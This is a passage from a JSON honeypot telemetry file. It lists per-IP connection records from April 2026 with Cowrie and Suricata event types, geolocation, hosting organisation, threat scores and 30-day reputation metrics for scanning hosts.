      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:08:49.827000+00:00",
        "last_seen_30d": "2026-04-30T08:10:31.749000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "150.228.104.231": {
      "attack_count": 4,
      "first_seen": "2026-04-28T18:53:45.721Z",
      "last_seen": "2026-04-28T18:59:55.862Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T18:53:45.721000+00:00",
        "last_seen_30d": "2026-04-28T19:10:37.843000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "172.105.177.106": {
      "attack_count": 4,
      "first_seen": "2026-04-10T22:39:17.887Z",
      "last_seen": "2026-04-10T22:39:44.609Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 2875,
        "days_active_30d": 1,
        "ports_targeted_30d": 1509,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-10T22:39:15+00:00",
        "last_seen_30d": "2026-04-10T22:50:02.756000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1521,
        "Honeytrap": 1323,
        "Dionaea": 9,
        "ConPot": 8,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2,
        "Sentrypeer": 1
      }
    },
    "198.235.24.233": {
      "attack_count": 4,
      "first_seen": "2026-04-03T22:57:41.263Z",
      "last_seen": "2026-04-03T22:57:45.222Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 72.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 28,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T01:24:27+00:00",
        "last_seen_30d": "2026-04-28T22:23:05.055000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 25,
        "Cowrie": 4
      }
    },
    "20.163.15.107": {
      "attack_count": 4,
      "first_seen": "2026-04-05T06:15:00.804Z",
      "last_seen": "2026-04-05T06:15:11.242Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 73.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 29,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T21:33:36+00:00",
        "last_seen_30d": "2026-04-29T20:09:22.205000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 33,
        "Honeytrap": 15,
        "Cowrie": 4
      }
    },
    "205.210.31.222": {
      "attack_count": 4,
      "first_seen": "2026-04-19T04:44:31.587Z",
      "last_seen": "2026-04-19T04:44:34.719Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 29,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T20:21:09+00:00",
        "last_seen_30d": "2026-04-29T07:23:03.942000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 30,
        "Cowrie": 4,
        "Wordpot": 1
      }
    },
    "205.210.31.225": {
      "attack_count": 4,
      "first_seen": "2026-04-20T16:30:23.598Z",
      "last_seen": "2026-04-20T16:30:26.810Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 30,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T05:51:13.183000+00:00",
        "last_seen_30d": "2026-04-30T20:51:23.487000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 22,
        "Cowrie": 4
      }
    },
    "52.188.146.204": {
      "attack_count": 4,
      "first_seen": "2026-04-20T22:45:09.548Z",
      "last_seen": "2026-04-22T21:25:50.183Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Arlington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T22:45:09.548000+00:00",
        "last_seen_30d": "2026-04-22T21:26:52.495000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "54.147.153.204": {
      "attack_count": 4,
      "first_seen": "2026-04-21T00:54:15.597Z",
      "last_seen": "2026-04-21T00:54:19.777Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 50.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 15.8,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 19,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-07T00:53:59.119000+00:00",
        "last_seen_30d": "2026-04-25T00:58:45.963000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4,
        "Honeytrap": 2,
        "Honeyaml": 1
      }
    },
    "71.6.232.22": {
      "attack_count": 4,
      "first_seen": "2026-04-27T03:28:58.383Z",
      "last_seen": "2026-04-27T03:29:06.384Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 83.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 29,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T04:30:59.879000+00:00",
        "last_seen_30d": "2026-04-29T23:01:43.962000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Cowrie": 4,
        "Honeytrap": 4,
        "Ciscoasa": 2,
        "H0neytr4p": 1
      }
    },
    "85.217.140.51": {
      "attack_count": 4,
      "first_seen": "2026-04-09T14:02:52.729Z",
      "last_seen": "2026-04-09T14:02:53.372Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 90.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 350,
        "days_active_30d": 30,
        "ports_targeted_30d": 180,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T13:00:39.789000+00:00",
        "last_seen_30d": "2026-04-30T21:12:26.696000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 182,
        "Honeytrap": 160,
        "Cowrie": 4,
        "Dionaea": 4
      }
    },
    "23.189.104.87": {
      "attack_count": 3,
      "first_seen": "2026-04-22T23:20:19.775Z",
      "last_seen": "2026-04-22T23:21:20.971Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 214172,
      "as_org": "DePowered Limited",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T23:20:19.775000+00:00",
        "last_seen_30d": "2026-04-22T23:22:25.523000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "91.230.168.192": {
      "attack_count": 3,
      "first_seen": "2026-04-12T18:45:35.343Z",
      "last_seen": "2026-04-12T18:45:35.344Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 71.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.3,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 25,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T10:08:11+00:00",
        "last_seen_30d": "2026-04-26T12:42:20.988000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 11,
        "Cowrie": 3,
        "CitrixHoneypot": 1,
        "Dionaea": 1
      }
    },
    "1.222.72.171": {
      "attack_count": 2,
      "first_seen": "2026-04-05T00:31:52.440Z",
      "last_seen": "2026-04-05T00:32:23.331Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T00:31:52.440000+00:00",
        "last_seen_30d": "2026-04-05T00:33:27.265000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "101.109.176.94": {
      "attack_count": 2,
      "first_seen": "2026-04-22T17:51:24.135Z",
      "last_seen": "2026-04-22T17:51:37.244Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Phetchaburi",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T17:51:24.135000+00:00",
        "last_seen_30d": "2026-04-22T17:52:43.116000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "102.0.24.220": {
      "attack_count": 2,
      "first_seen": "2026-04-30T15:07:35.256Z",
      "last_seen": "2026-04-30T15:07:48.297Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 36926,
      "as_org": "CKL1-ASN",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:07:35.256000+00:00",
        "last_seen_30d": "2026-04-30T15:08:57.446000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.166.183.158": {
      "attack_count": 2,
      "first_seen": "2026-04-01T03:25:55.433Z",
      "last_seen": "2026-04-01T03:26:26.132Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T03:25:55.433000+00:00",
        "last_seen_30d": "2026-04-01T03:27:26.847000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "105.186.99.73": {
      "attack_count": 2,
      "first_seen": "2026-04-25T03:13:58.158Z",
      "last_seen": "2026-04-25T03:14:29.268Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T03:13:58.158000+00:00",
        "last_seen_30d": "2026-04-25T03:17:04.169000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "110.44.217.163": {
      "attack_count": 2,
      "first_seen": "2026-04-21T16:33:20.350Z",
      "last_seen": "2026-04-21T16:33:33.398Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 17577,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T16:33:20.350000+00:00",
        "last_seen_30d": "2026-04-21T16:34:35.478000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.38.30.39": {
      "attack_count": 2,
      "first_seen": "2026-04-20T21:18:33.025Z",
      "last_seen": "2026-04-20T21:18:47.309Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hefei",
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T21:18:33.025000+00:00",
        "last_seen_30d": "2026-04-20T21:19:49.495000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.147.143.81": {
      "attack_count": 2,
      "first_seen": "2026-04-13T21:17:14.918Z",
      "last_seen": "2026-04-13T21:17:45.597Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T23:28:03.227000+00:00",
        "last_seen_30d": "2026-04-13T21:18:46.634000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "125.229.208.231": {
      "attack_count": 2,
      "first_seen": "2026-04-21T08:06:01.682Z",
      "last_seen": "2026-04-21T08:06:33.234Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T08:06:01.682000+00:00",
        "last_seen_30d": "2026-04-21T08:07:42.666000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "147.185.132.16": {
      "attack_count": 2,
      "first_seen": "2026-04-13T01:35:42.435Z",
      "last_seen": "2026-04-13T01:35:52.242Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.2,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 26,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-05T04:11:31+00:00",
        "last_seen_30d": "2026-04-30T04:57:28.771000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 29,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "147.185.132.171": {
      "attack_count": 2,
      "first_seen": "2026-04-23T22:09:52.142Z",
      "last_seen": "2026-04-23T22:09:52.482Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 70.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 25,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T05:02:28+00:00",
        "last_seen_30d": "2026-04-27T02:32:56.450000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "Honeytrap": 14,
        "Cowrie": 2,
        "ConPot": 1
      }
    },
    "147.185.132.192": {
      "attack_count": 2,
      "first_seen": "2026-04-26T16:23:39.143Z",
      "last_seen": "2026-04-26T16:24:10.717Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 30,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T23:03:58+00:00",
        "last_seen_30d": "2026-04-30T22:42:48.384000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 22,
        "Cowrie": 2,
        "Ciscoasa": 1
      }
    },
    "186.121.249.157": {
      "attack_count": 2,
      "first_seen": "2026-04-01T01:04:09.418Z",
      "last_seen": "2026-04-01T01:04:40.767Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:04:09.418000+00:00",
        "last_seen_30d": "2026-04-01T01:05:50.910000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "187.102.161.86": {
      "attack_count": 2,
      "first_seen": "2026-04-30T14:37:07.243Z",
      "last_seen": "2026-04-30T14:37:20.941Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 17222,
      "as_org": "MUNDIVOX DO BRASIL LTDA",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T14:37:07.243000+00:00",
        "last_seen_30d": "2026-04-30T14:38:21.991000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "194.143.144.154": {
      "attack_count": 2,
      "first_seen": "2026-04-26T18:13:23.494Z",
      "last_seen": "2026-04-26T18:13:36.736Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 13307,
      "as_org": "as6723 Limited Liability Company",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T18:13:23.494000+00:00",
        "last_seen_30d": "2026-04-26T18:14:44.258000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "2.26.54.59": {
      "attack_count": 2,
